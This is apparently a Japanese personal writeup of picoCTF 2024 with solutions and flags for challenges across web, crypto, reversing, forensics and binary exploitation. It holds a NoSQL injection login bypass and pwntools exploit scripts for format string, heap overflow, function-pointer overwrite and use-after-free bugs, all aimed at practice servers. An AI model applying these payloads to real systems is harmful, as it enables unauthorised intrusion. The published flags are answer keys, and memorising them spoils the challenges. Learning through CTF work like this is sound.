目次
はじめに
2024年3月13日~17日(日本時間)に開催されたpicoCTF 2024に参加しました。
結果は3725ポイントで全体で660位でした(チーム)。
以下、自分がメモしていたWriteupを残しています。時間が経って記憶も曖昧な部分があるので結構雑に書いてます。
Web Exploitation
Bookmarklet
解法
問題のサイトを見るとブックマークレットが書かれているので実行するだけ。ブックマークのURL欄にペーストしてブックマークを開く。
Flag
picoCTF{p@g3_turn3r_18d2fa20}
WebDecode
解法
Aboutページのソースを開発者ツールで見ると以下の要素が見つかる。
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9">
<h1>
Try inspecting the page!! You might find it there
</h1>
<!-- .about-container -->
</section>
notify_true
をbase64でデコードするとFlagが得られる(実行結果(CyberChef))。
Flag
picoCTF{web_succ3ssfully_d3c0ded_10f9376f}
Unminify
解法
ページのHTMLソース内にFlagがそのまま書かれていた。
<!doctype html>
<html lang="en">
...
<div class="picoctf{}" style="width:70%">
<p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p>
<p class="picoCTF{pr3tty_c0d3_ed938a7e}"></p>
<p class="picoctf{}">I just deliver flags, I don't know how to read them...</p>
</div>
...
Flag
picoCTF{pr3tty_c0d3_ed938a7e}
No Sql Injection
解法
ソースを見るとmongooseというMongoDBを操作するライブラリが使われていることが分かる。
両方に{"$ne": null}
と入れるとログインできる。
ページを見てもFlagは書かれていないが、以下のレスポンスを開発者ツールから確認できた。
[{"_id":"65f08d5715535af6a1394524","email":"[email protected]","firstName":"Josh","lastName":"Iriya","password":"Je80T8M7sUA","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uX2UzMWVmMzI0fQ==","__v":0}]
tokenをbase64でデコードするとFlagを得られた(実行結果(CyberChef))。
Flag
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_e31ef324}
Cryptography
interencdec
解法
base64でデコード→先頭と後ろの邪魔なものを取っ払って再びbase64でデコード→シーザー暗号を総当りで解読。
2. base64でデコード→シーザー暗号解読(CyberChef)
Flag
picoCTF{caesar_d3cr9pt3d_78250afc}
Custom encryption
解法
以下の暗号文を解読する。
a = 94
b = 21
cipher is: [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]
custom_encryption.py
を見て逆の操作を行うプログラムを作成した。
a = 94
b = 21
cipher = [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]
def generator(g, x, p):
return pow(g, x) % p
def decrypt(ciphertext, key):
plaintext = ""
for num in cipher:
plaintext += chr(num // key // 311)
return plaintext
def dynamic_xor_decrypt(ciphertext, key):
plaintext = ""
key_length = len(text_key)
for i, char in enumerate(ciphertext):
key_char = text_key[i % key_length]
decrypted_char = chr(ord(char) ^ ord(key_char))
plaintext = decrypted_char + plaintext
return plaintext
text_key = "trudeau"
p = 97
g = 31
u = generator(g, a, p)
v = generator(g, b, p)
key = generator(v, a, p)
b_key = generator(u, b, p)
shared_key = None
if key == b_key:
shared_key = key
else:
print("Invalid key")
exit(-1)
semi_plain = decrypt(cipher, shared_key)
plain = dynamic_xor_decrypt(semi_plain, text_key)
print(plain)
$ python solver.py
picoCTF{custom_d2cr0pt6d_8b41f976}
Flag
picoCTF{custom_d2cr0pt6d_8b41f976}
Reverse Engineering
packer
解法
stringsコマンドで実行ファイルを見るとupxによってパックされていることが分かる。
$ strings ./out
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
...
upxは-dで解凍できる。
$ upx -d ./out
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0x4b718
[WARNING] ... recovery at 0x4b714
877724 <- 336520 38.34% linux/amd64 out
Unpacked 1 file.
解凍した実行ファイルをGhidraで見ると以下の気になる記述が見つかる。
undefined8 main(void)
...
puts(
"Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e345269 33535f33373161613966667d"
);
...
ASCIIコード16進数→文字に変換するとFlagが出てくる(CyberChef)。
Flag
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_371aa9ff}
FactCheck
解法
stringsコマンドではFlagの前の方だけが出てくる。
$ strings ./bin | grep pico
picoCTF{wELF_d0N3_mate_
Ghidraで見ると後半は色々処理しているようなので一つずつ動きをトレースして以下のようなプログラムを作成した。
local_248 = "picoCTF{wELF_d0N3_mate_"
local_228 = "7"
local_208 = "5"
local_1e8 = "4"
local_1c8 = "3"
local_1a8 = "6"
local_188 = "9"
local_168 = "a"
local_148 = "e"
local_128 = "3"
local_108 = "d"
local_e8 = "b"
local_c8 = "1"
local_a8 = "6"
local_88 = "e"
local_68 = "c"
local_48 = "8"
if ord(local_208) < ord('B'):
local_248 += local_c8
if local_a8 != 'A':
local_248 += local_68
if ord(local_1c8) - ord(local_148) == 3:
local_248 += local_1c8
local_248 += local_1e8
local_248 += local_188
if local_168 == 'G':
local_248 += local_168
local_248 += local_1a8
local_248 += local_88
local_248 += local_228
local_248 += local_128
local_248 += '}'
print(local_248)
> python solver.py
picoCTF{wELF_d0N3_mate_1c496e73}
Flag
picoCTF{wELF_d0N3_mate_1c496e73}
Classic Crackme 0x100
解法
Ghidraで見るとmain関数は以下のようになっている。
undefined8 main(void)
{
int iVar1;
size_t sVar2;
char local_a8 [64];
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined7 local_40;
undefined4 uStack_39;
uint local_2c;
uint local_28;
char local_21;
uint local_20;
uint local_1c;
uint local_18;
int local_14;
int local_10;
int local_c;
local_68 = 0x687a63616a697061;
local_60 = 0x676a796e6674677a;
local_58 = 0x6d626a7271766472;
local_50 = 0x7a636a6d63727563;
local_48 = 0x6c65646777627673;
local_40 = 0x796b6a78787876;
uStack_39 = 0x796769;
setvbuf(stdout,(char *)0x0,2,0);
printf("Enter the secret password: ");
__isoc99_scanf(&DAT_00402024,local_a8);
local_c = 0;
sVar2 = strlen((char *)&local_68);
local_14 = (int)sVar2;
local_18 = 0x55;
local_1c = 0x33;
local_20 = 0xf;
local_21 = 'a';
for (; local_c < 3; local_c = local_c + 1) {
for (local_10 = 0; local_10 < local_14; local_10 = local_10 + 1) {
local_28 = (local_10 % 0xff >> 1 & local_18) + (local_10 % 0xff & local_18);
local_2c = ((int)local_28 >> 2 & local_1c) + (local_1c & local_28);
iVar1 = ((int)local_2c >> 4 & local_20) +
((int)local_a8[local_10] - (int)local_21) + (local_20 & local_2c);
local_a8[local_10] = local_21 + (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a;
}
}
iVar1 = memcmp(local_a8,&local_68,(long)local_14);
if (iVar1 == 0) {
printf("SUCCESS! Here is your flag: %s\n","picoCTF{sample_flag}");
}
else {
puts("FAILED!");
}
return 0;
}
動作をトレースしたプログラムを作成。
import string
local_68_40 = [
0x61, 0x70, 0x69, 0x6a, 0x61, 0x63, 0x7a, 0x68,
0x7a, 0x67, 0x74, 0x66, 0x6e, 0x79, 0x6a, 0x67,
0x72, 0x64, 0x76, 0x71, 0x72, 0x6a, 0x62, 0x6d,
0x63, 0x75, 0x72, 0x63, 0x6d, 0x6a, 0x63, 0x7a,
0x73, 0x76, 0x62, 0x77, 0x67, 0x64, 0x65, 0x6c,
0x76, 0x78, 0x78, 0x78, 0x6a, 0x6b, 0x79,
0x69, 0x67, 0x79
]
password = ""
local_14 = len(local_68_40)
local_18 = 0x55
local_1c = 0x33
local_20 = 0xf
local_21 = 'a'
for i in range(local_14):
expected = local_68_40[i]
for c in string.ascii_lowercase:
cn = ord(c)
local_10 = i
for j in range(3):
local_28 = (local_10 % 0xff >> 1 & local_18) + (local_10 % 0xff & local_18)
local_2c = (local_28 >> 2 & local_1c) + (local_1c & local_28)
iVar1 = (local_2c >> 4 & local_20) + (cn - ord(local_21)) + (local_20 & local_2c)
cn = ord(local_21) + iVar1 + (iVar1 // 0x1a) * (-0x1a)
# cn = ord(local_21) + iVar1 % 0x1a
if cn == expected:
password += c
break
print(f"Encoded: {password}")
実行して得られた文字列をncして投げれば良い。
$ python solver.py
Encoded: amfdxwtywanwhpauoxphlasawliqdxqkppvnauvzpoolaymtap
$ nc titan.picoctf.net 63460
Enter the secret password: amfdxwtywanwhpauoxphlasawliqdxqkppvnauvzpoolaymtap
SUCCESS! Here is your flag: picoCTF{s0lv3_angry_symb0ls_e1ad09b7}
Flag
picoCTF{s0lv3_angry_symb0ls_e1ad09b7}
weirdSnake
解法
Pythonのバイトコードを読む問題。
動きをトレースすると以下のようになっている。key_str
の文字の追加順に注意。
input_list = [4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 110, 43, 88, 0, 67, 104, 125, 9, 78]
key_str = 'J'
key_str = '_' + key_str
key_str = key_str + 'o'
key_str = key_str + '3'
key_str = 't' + key_str
key_list = [ord(char) for char in key_str]
while len(key_list) < len(input_list):
key_list.extend(key_list)
print(key_list)
result = [a ^ b for a, b in zip(input_list, key_list)]
result_text = ''.join(map(chr, result))
print(result)
print(result_text)
$ python tracer.py
[116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51]
[112, 105, 99, 111, 67, 84, 70, 123, 78, 48, 116, 95, 115, 79, 95, 99, 111, 78, 102, 117, 115, 49, 110, 103, 95, 115, 110, 64, 107, 101, 95, 49, 97, 55, 51, 55, 55, 55, 102, 125]
picoCTF{N0t_sO_coNfus1ng_sn@ke_1a73777f}
Flag
picoCTF{N0t_sO_coNfus1ng_sn@ke_1a73777f}
Forensics
Scan Surprise
解法
QRコードをスマホのQRコードリーダー等で読むとFlagが表示される。
Flag
picoCTF{p33k_@_b00_b5ce2572}
Verify
解法
checksumが一致するファイルを探す。
$ sha256sum ./files/* > checksum_all.txt
$ cat checksum_all.txt | grep -f checksum.txt
5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda ./files/8eee7195
./files/8eee7195
を解読する。確かdecrypt.sh
に書いてあったはず…。
$ openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "./files/8eee7195" -k picoCTF
picoCTF{trust_but_verify_8eee7195}
Flag
picoCTF{trust_but_verify_8eee7195}
CanYouSee
解法
exiftoolで情報を見る。
$ exiftool ./ukn_reality.jpg
ExifTool Version Number : 12.40
File Name : ukn_reality.jpg
Directory : .
File Size : 2.2 MiB
File Modification Date/Time : 2024:02:16 07:40:17+09:00
File Access Date/Time : 2024:03:17 07:56:35+09:00
File Inode Change Date/Time : 2024:03:17 07:56:35+09:00
File Permissions : -rwxrwxrwx
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
XMP Toolkit : Image::ExifTool 11.88
Attribution URL : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==
Image Width : 4308
Image Height : 2875
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 4308x2875
Megapixels : 12.4
Attribution URLが明らかに怪しいのでbase64でデコードするとFlagを得られる(CyberChef)。
Flag
picoCTF{ME74D47A_HIDD3N_4dabddcb}
Secret of the Polyglot
解法
- PDFビューアで開くとFlagの後半”1n_pn9_&_pdf_249d05c0}”が表示される
- ペイントで開くとFlagの前半”picoCTF{f1u3n7_”が表示される
Flag
picoCTF{f1u3n7_1n_pn9_&_pdf_249d05c0}
endianness-v2
解法
32ビット毎にファイルのエンディアンを変えてjpegで保存すると画像にFlagが表示される。
with open("fixed.jpeg", "wb") as fw:
with open("./challengefile", "rb") as fr:
while True:
data = fr.read(4)
if len(data) == 0:
break
fw.write(data[::-1])
Flag
picoCTF{cert!f1Ed_iNd!4n_s0rrY_3nDian_b039bc14}
Blast from the past
解法
以下のようにして画像の色々な時間情報を”1970:01:01 00:00:00.001+00:00″に変更した。
$ exiftool "-alldates=1970:01:01 00:00:00.001+00:00" ./original.jpg
1 image files updated
$ exiftool -"SubSecCreateDate=1970:01:01 00:00:00.001+00:00" ./original.jpg
1 image files updated
$ exiftool -"SubSecDateTimeOriginal=1970:01:01 00:00:00.001+00:00" ./original.jpg
1 image files updated
$ exiftool -"SubSecModifyDate=1970:01:01 00:00:00.001+00:00" ./original.jpg
1 image files updated
$ exiftool -"TimeStamp=0" ./original.jpg
1 image files updated
これでも最後の1つだけ通らなかったのでバイナリエディタを用いて0x2B8E18の部分を直接いじった。
TimeStamp = 1700513181420
- Tag '0x0a01' (13 bytes):
2b8e18: 31 37 30 30 35 31 33 31 38 31 34 32 30 [1700513181420]
TimeStamp = 0
- Tag '0x0a01' (13 bytes):
2b8e18: 30 30 30 30 30 30 30 30 30 30 30 30 31 [0000000000001]
$ nc -d mimas.picoctf.net 64865
MD5 of your picture:
06029205d3e2311b0dcbdf265cf1368c test.out
Checking tag 1/7
Looking at IFD0: ModifyDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!
Checking tag 2/7
Looking at ExifIFD: DateTimeOriginal
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!
Checking tag 3/7
Looking at ExifIFD: CreateDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!
Checking tag 4/7
Looking at Composite: SubSecCreateDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!
Checking tag 5/7
Looking at Composite: SubSecDateTimeOriginal
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!
Checking tag 6/7
Looking at Composite: SubSecModifyDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!
Checking tag 7/7
Timezones do not have to match, as long as it's the equivalent time.
Looking at Samsung: TimeStamp
Looking for '1970:01:01 00:00:00.001+00:00'
Found: 1970:01:01 00:00:00.001+00:00
Great job, you got that one!
You did it!
picoCTF{71m3_7r4v311ng_p1c7ur3_b5f7bcb5}
Flag
picoCTF{71m3_7r4v311ng_p1c7ur3_b5f7bcb5}
General Skills
Super SSH
解法
SSHするだけ。
$ ssh titan.picoctf.net -l ctf-player -p 60572
The authenticity of host '[titan.picoctf.net]:60572 ([3.139.174.234]:60572)' can't be established.
ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[titan.picoctf.net]:60572' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_8306c99d}
Connection to titan.picoctf.net closed.
Flag
picoCTF{s3cur3_c0nn3ct10n_8306c99d}
Commitment Issues
解法
- git logでコミット履歴を見る
- git resetで巻き戻す
- message.txtを見るとFlagが書いてある
> git log
commit a6dca68e4310585eac3b5c9caf0f75967dfe972c (HEAD -> master)
Author: picoCTF <[email protected]>
Date: Sat Mar 9 21:10:06 2024 +0000
remove sensitive info
commit e720dc26a1a55405fbdf4d338d465335c439fb3e
Author: picoCTF <[email protected]>
Date: Sat Mar 9 21:10:06 2024 +0000
> git reset --hard e720dc26a1a55405fbdf4d338d465335c439fb3e
HEAD is now at e720dc2 create flag
> cat .\message.txt
picoCTF{s@n1t1z3_7246792d}
Flag
picoCTF{s@n1t1z3_7246792d}
Time Machine
解法
git logでコミット履歴を見るとコミットメッセージにFlagが書かれている。
> git log
commit b92bdd8ec87a21ba45e77bd9bed3e4893faafd0f (HEAD -> master)
Author: picoCTF <[email protected]>
Date: Sat Mar 9 21:10:29 2024 +0000
picoCTF{t1m3m@ch1n3_5cde9075}
Flag
picoCTF{t1m3m@ch1n3_5cde9075}
Blame Game
解法
git logを見ると履歴が大量にあるのでgrepで絞る。
> git log | grep "picoCTF{"
Author: picoCTF{@sk_th3_1nt3rn_e9957ce1} <[email protected]>
Flag
picoCTF{@sk_th3_1nt3rn_e9957ce1}
Collaborative Development
解法
feature/part-1, feature/part-2, feature/part-3ブランチそれぞれにFlagの断片が書かれている。
> git checkout feature/part-1
error: Your local changes to the following files would be overwritten by checkout:
flag.py
Please commit your changes or stash them before you switch branches.
Aborting
> git commit -a -m "a"
[main 15f2f52] a
1 file changed, 0 insertions(+), 0 deletions(-)
mode change 100644 => 100755 flag.py
> git checkout feature/part-1
Switched to branch 'feature/part-1'
> cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')
> git checkout feature/part-2
Switched to branch 'feature/part-2'
> cat flag.py
print("Printing the flag...")
print("m@k3s_th3_dr3@m_", end='')
> git checkout feature/part-3
Switched to branch 'feature/part-3'
> cat flag.py
print("Printing the flag...")
print("w0rk_7ffa0077}")
Flag
picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_7ffa0077}
binhexa
解法
2つの2進表記の数字と6つ演算子が与えられるのでそれぞれ計算結果を答えるだけ。
> nc titan.picoctf.net 50971
Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.
Binary Number 1: 00011001
Binary Number 2: 00000000
Question 1/6:
Operation 1: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00011001
Correct!
Question 2/6:
Operation 2: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 00110010
Correct!
Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00011001
Correct!
Question 4/6:
Operation 4: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 0
Correct!
Question 5/6:
Operation 5: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 00000000
Correct!
Question 6/6:
Operation 6: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 0
Correct!
Enter the results of the last operation in hexadecimal: 0
Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}
Flag
picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}
Binary Search
解法
適当に当てに行くと上限に引っかかるのでちゃんと二部探索をしましょう。
> ssh -p 51214 [email protected]
[email protected]'s password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 750
Lower! Try again.
Enter your guess: 625
Lower! Try again.
Enter your guess: 562
Lower! Try again.
Enter your guess: 531
Higher! Try again.
Enter your guess: 546
Higher! Try again.
Enter your guess: 554
Lower! Try again.
Enter your guess: 550
Lower! Try again.
Enter your guess: 548
Congratulations! You guessed the correct number: 548
Here's your flag: picoCTF{g00d_gu355_3af33d18}
Connection to atlas.picoctf.net closed.
Flag
Here’s your flag: picoCTF{g00d_gu355_3af33d18}
endianness
解法
文字が与えられるのでそれぞれ16進表記のリトルエンディアンとビッグエンディアンを回答する。
input_str = input("Word: ")
le = ""
for i in range(4, -1, -1):
c = ord(input_str[i])
le += "{:02X}".format(c)
print(le)
be = ""
for i in range(5):
c = ord(input_str[i])
be += "{:02X}".format(c)
print(be)
$ python solver.py
Word: mcpad
646170636D
6D63706164
$ nc titan.picoctf.net 51740
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: mcpad
Enter the Little Endian representation: 646170636D
Correct Little Endian representation!
Enter the Big Endian representation: 6D63706164
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}
Flag
picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}
Binary Exploitation
format string 0
解法
from pwn import *
def conn():
return remote("mimas.picoctf.net", 50695)
def main():
r = conn()
payload1 = "Breakf@st_Burger" + "Gr" + "1" * 114 + "_Cheese" + "Bac0n_D3luxe"
r.recvuntil(b"Enter your recommendation: ")
r.sendline(payload1.encode())
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
[+] Opening connection to mimas.picoctf.net on port 50695: Done
[*] Switching to interactive mode
There is no such burger yet!
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}
[*] Got EOF while reading in interactive
$
[*] Closed connection to mimas.picoctf.net port 50695
Flag
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}
format string 1
解法
以下のようにしてスタックの中身を吐き出させてみる。
import time
from pwn import *
exe = ELF("./format-string-1")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("mimas.picoctf.net", 49811)
return r
def main():
r = conn()
r.recvuntil(b"Give me your order and I'll read it back to you:\n")
r.sendline(f"%{i+1}$ls".encode())
r.interactive()
if __name__ == "__main__":
main()
402118.0.7f6bef031a00.0.21b2880.a347834.7ffe97549f70.7f6beee22e60.7f6bef0474d0.1.7ffe9754a040.0.0.7b4654436f636970.355f31346d316e34.3478345f33317937.31655f673431665f.7d383130386531.7.7f6bef0498d8.2300000007.206e693374307250.a336c797453.9.7f6bef05ade9.7f6beee2b098.7f6bef0474d0.0.7ffe9754a050.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25
↑は’.’で区切られた16進数なので文字に変換してみる(CyberChef)。真ん中の方にFlagと思われる文字列がある。8文字ごとにエンディアンを変えて並び替える。
{FTCocip5_14m1n44x4_31y71e_g41f_}8108e1
↓
{FTCocip
5_14m1n4
4x4_31y7
1e_g41f_
}8108e1
↓
picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}
Flag
picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}
heap 0
解法
バッファを溢れさせて”bico”の部分を書き換える。
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("tethys.picoctf.net", 58099)
return r
def main():
r = conn()
r.sendline(b"2")
r.sendline(b"a" * 100)
r.sendline(b"4")
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-0/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to tethys.picoctf.net on port 58099: Done
[*] Switching to interactive mode
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55e47b72f2b0 -> pico
+-------------+----------------+
[*] 0x55e47b72f2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: Data for buffer:
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}
[*] Got EOF while reading in interactive
Flag
picoCTF{my_first_heap_overflow_1ad0e1a6}
heap 1
解法
実行時に表示されるHeap Stateの表を見ると入力と”bico”のアドレスの差は常に0x20 = 32であることが分かる。
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55d9aa33e2b0 -> pico
+-------------+----------------+
[*] 0x55d9aa33e2d0 -> bico
+-------------+----------------+
よって、32ビット適当に盛った後に”pico”を送るようにすれば良い。
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("tethys.picoctf.net", 49800)
return r
def main():
r = conn()
r.sendline(b"2")
r.sendline(b"a" * 32 + b"pico")
r.sendline(b"4")
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-1/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to tethys.picoctf.net on port 49800: Done
[*] Switching to interactive mode
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55d9aa33e2b0 -> pico
+-------------+----------------+
[*] 0x55d9aa33e2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: Data for buffer:
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
YOU WIN
picoCTF{starting_to_get_the_hang_21306688}
[*] Got EOF while reading in interactive
Flag
picoCTF{starting_to_get_the_hang_21306688}
heap 2
解法
check_win()内で変数xのアドレスを関数として呼び出していることが分かる。
win()関数のアドレスは以下のようにして探す。
(gdb) disassemble win
Dump of assembler code for function win:
0x00000000004011a0 <+0>: push %rbx
0x00000000004011a1 <+1>: sub $0x40,%rsp
あとはこれを書き込んで動かすだけ。
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("mimas.picoctf.net", 64478)
return r
def main():
r = conn()
r.sendline(b"2")
r.sendline(b"a" * 32 + p64(0x00000000004011a0))
r.sendline(b"4")
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-2/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to mimas.picoctf.net on port 64478: Done
[*] Switching to interactive mode
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: picoCTF{and_down_the_road_we_go_ba77314d}
[*] Got EOF while reading in interactive
Flag
picoCTF{and_down_the_road_we_go_ba77314d}
heap 3
解法
構造体xの要素flagまでの距離は以下のようにして求める。
$ gdb ./chall
gef> pattern create 35
[+] Generating a pattern of 35 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaa
$ ./chall
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 5
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 2
Size of object allocation: 35
Data for flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaa
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 3
x = aaeaa
つまり、30文字適当に埋めた後に”pico”を入れれば良いことが分かる。
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("tethys.picoctf.net", 59011)
return r
def main():
r = conn()
r.sendline(b"5")
r.sendline(b"2")
r.sendline(b"35")
r.sendline(b"a" * 30 + b"pico")
r.sendline(b"4")
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-3/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to tethys.picoctf.net on port 59011: Done
[*] Switching to interactive mode
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice:
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: Size of object allocation: Data for flag:
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: YOU WIN!!11!!
